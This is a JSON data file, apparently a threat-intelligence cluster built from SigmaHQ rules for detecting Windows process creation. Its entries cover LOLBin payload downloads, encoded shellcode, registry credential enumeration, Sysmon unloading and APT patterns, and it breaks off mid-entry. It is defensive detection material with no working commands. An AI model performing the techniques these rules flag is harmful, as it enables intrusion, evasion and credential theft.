"falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_cl_invocation.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bohops/status/948061991012327424", "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", "value": "Execution via CL_Invocation.ps1" }, { "description": "Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools", "meta": { "author": "Florian Roth", "creation_date": "2022/11/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_command_flag_pattern.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/k/hack-the-real-box-apt41-new-subgroup-earth-longzhi.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_command_flag_pattern.yml" ], "tags": "No established tags" }, "uuid": "50d66fb0-03f8-4da0-8add-84e77d12a020", "value": "Suspicious RunAs-Like Flag Combination" }, { "description": "Detects Base64 encoded Shellcode", "meta": { "author": "Florian Roth", "creation_date": "2018/11/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_b64_shellcode.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cyb3rops/status/1063072865992523776", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", "value": "PowerShell Base64 Encoded Shellcode" }, { "description": "Detects execution of the IEExec utility to download payloads", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/05/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_ieexec_download.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ieexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml" ], "tags": "No established tags" }, "uuid": "9801abb8-e297-4dbf-9fbd-57dde0e830ad", "value": "Abusing IEExec To Download Payloads" }, { "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", "meta": { "author": "Florian Roth", "creation_date": "2022/07/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", "value": "Suspicious PowerShell Obfuscated PowerShell Code" }, { "description": "Detects automated lateral movement by Turla group", "meta": { "author": "Markus Neis", "creation_date": "2017/11/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_turla_commands_medium.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securelist.com/the-epic-turla-operation/65545/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" ], "tags": [ "attack.g0010", "attack.execution", "attack.t1059", "attack.lateral_movement", "attack.t1021.002", "attack.discovery", "attack.t1083", "attack.t1135" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", "value": "Automated Turla Group Lateral Movement" }, { "description": "Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", "meta": { "author": "frack113", "creation_date": "2021/09/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_alternate_data_streams.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.004" ] }, "related": [ { "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", "value": "Execute From Alternate Data Streams" }, { "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", "meta": { "author": "Florian Roth", "creation_date": "2022/06/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_rundll32.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" ], "tags": "No established tags" }, "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", "value": "Renamed Rundll32.exe Execution" }, { "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_modify_group_policy_settings.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1484.001" ] }, "related": [ { "dest-uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", "value": "Modify Group Policy Settings" }, { "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", "meta": { "author": "Nasreddine Bencherchali (rule)", "creation_date": "2022/05/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_msdt.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/_JohnHammond/status/1531672601067675648", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://twitter.com/nao_sec/status/1530196847679401984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", "value": "Execute Arbitrary Commands Using MSDT.EXE" }, { "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" ], "tags": [ "attack.credential_access", "attack.t1552.002" ] }, "related": [ { "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", "value": "Enumeration for Credentials in Registry" }, { "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", "creation_date": "2020/10/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", "value": "Custom Class Execution via Xwizard" }, { "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", "meta": { "author": "Florian Roth", "creation_date": "2021/03/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_hafnium.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://twitter.com/BleepinComputer/status/1372218235949617161", "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" ], "tags": [ "attack.persistence", "attack.t1546", "attack.t1053" ] }, "related": [ { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", "value": "Exchange Exploitation Activity" }, { "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", "meta": { "author": "Florian Roth", "creation_date": "2021/01/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_unc2452_ps.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.t1047" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", "value": "UNC2452 PowerShell Pattern" }, { "description": "Detect possible Sysmon driver unload", "meta": { "author": "Kirill Kiryanov, oscd.community", "creation_date": "2019/10/23", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_sysmon_driver_unload.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070", "attack.t1562", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", "value": "Sysmon Driver Unload" }, { "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Admin activity" ], "filename": "proc_creation_win_change_default_file_association.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" ], "tags": [ "attack.persistence", "attack.t1546.001" ] }, "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", "value": "Change Default File Association" }, { "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", "meta": { "author": "Florian Roth", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_vul_java_remote_debugging.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" ], "tags": [ "attack.t1203", "attack.execution" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", "value": "Java Running with Remote Debugging" }, { "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", "meta": { "author": "Andreas Hunkeler (@Karneades), Florian Roth", "creation_date": "2021/12/17", "falsepositive": [ "Legitimate calls to system binaries", "Company specific internal usage" ], "filename": "proc_creation_win_susp_shell_spawn_by_java.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation" ] }, "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", "value": "Suspicious Shells Spawned by Java" }, { "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", "meta": { "author": "frack113", "creation_date": "2022/07/16", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_susp_16bit_application.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", "value": "Start of NT Virtual DOS Machine" }, { "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", "meta": { "author": "@41thexplorer, Microsoft Defender ATP", "creation_date": "2018/11/20", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_apt_unidentified_nov_18.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/DrunkBinary/status/1063075530180886529", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" ], "tags": [ "attack.execution", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7453575c-a747-40b9-839b-125a0aae324b", "value": "Unidentified Attacker November 2018" }, { "description": "Detects suspicious encoded character syntax often used for defense evasion", "meta": { "author": "Florian Roth", "creation_date": "2020/07/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_obfuscation_via_utf8.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1281103918693482496", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_obfuscation_via_utf8.yml" ], "tags": [ "attack.execution", "attack.t1059.001", "attack.defense_evasion", "attack.t1027" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", "value": "Potential PowerShell Obfuscation Via WCHAR" }, { "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", "meta": { "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger", "creation_date": "2021/09/30", "falsepositive": [ "Pnputil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html", "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml" ], "tags": [ "attack.persistence", "attack.t1547" ] }, "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1", "value": "Suspicious Driver Install by pnputil.exe" }, { "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", "meta": { "author": "frack113", "creation_date": "2022/10/02", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_ultravnc.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", "value": "Use of UltraVNC Remote Access Software" }, { "description": "Detects creation of a scheduled task with a GUID like name", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/31", "falsepositive": [ "Legitimate software naming their tasks as GUIDs" ], "filename": "proc_creation_win_susp_guid_task_name.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", "value": "Suspicious Scheduled Task Name As GUID" }, { "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", "meta": { "author": "frack113", "creation_date": "2022/01/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_evil_winrm.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Hackplayers/evil-winrm", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.006" ] }, "related": [ { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", "value": "WinRM Access with Evil-WinRM" }, { "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2022/02/07", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_actinium_persistence.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1053", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", "value": "Scheduled Task WScript VBScript" }, { "description": "Detects suspicious children of application launched from inside the WindowsApps directory. This could be a sign of a rogue \".appx\" package installation/execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_appx_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_appx_execution.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "f91ed517-a6ba-471d-9910-b3b4a398c0f3", "value": "Suspicious Windows App Activity" }, { "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", "meta": { "author": "Aaron Herman", "creation_date": "2022/10/01", "falsepositive": [ "Legitimate applications installed on other partitions such as \"D:\"" ], "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", "value": "Wscript Execution from Non C Drive" }, { "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", "meta": { "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative", "creation_date": "2020/10/07", "falsepositive": [ "Utilization of this tool should not be seen in enterprise environment" ], "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Vbc/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.004" ] }, "related": [ { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535", "value": "Visual Basic Command Line Compiler Usage" }, { "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", "meta": { "author": "Florian Roth", "creation_date": "2022/08/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_web_sysaidserver.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" ], "tags": "No established tags" }, "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", "value": "Suspicious SysAidServer Child" }, { "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", "meta": { "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", "creation_date": "2020/10/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_non_priv_reg_or_ps.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", "value": "Non-privileged Usage of Reg or Powershell" }, { "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", "meta": { "author": "frack113, Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Rare legitimate add to registry via cli (to these locations)" ], "filename": "proc_creation_win_susp_reg_add.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112", "attack.t1562.001" ] }, "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", "value": "Reg Add Suspicious Paths" }, { "description": "Detects usage of an encoded/obfuscated version of an IP address (hex, octal...) via commandline", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_obfuscated_ip_via_cli.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://h.43z.one/ipconverter/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_via_cli.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "56d19cb4-6414-4769-9644-1ed35ffbb148", "value": "Obfuscated IP Via CLI" }, { "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", "meta": { "author": "Sreeman", "creation_date": "2020/03/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" ], "tags": [ "attack.t1204", "attack.t1566.001", "attack.execution", "attack.initial_access" ] }, "related": [ { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms" }, { "description": "Detects 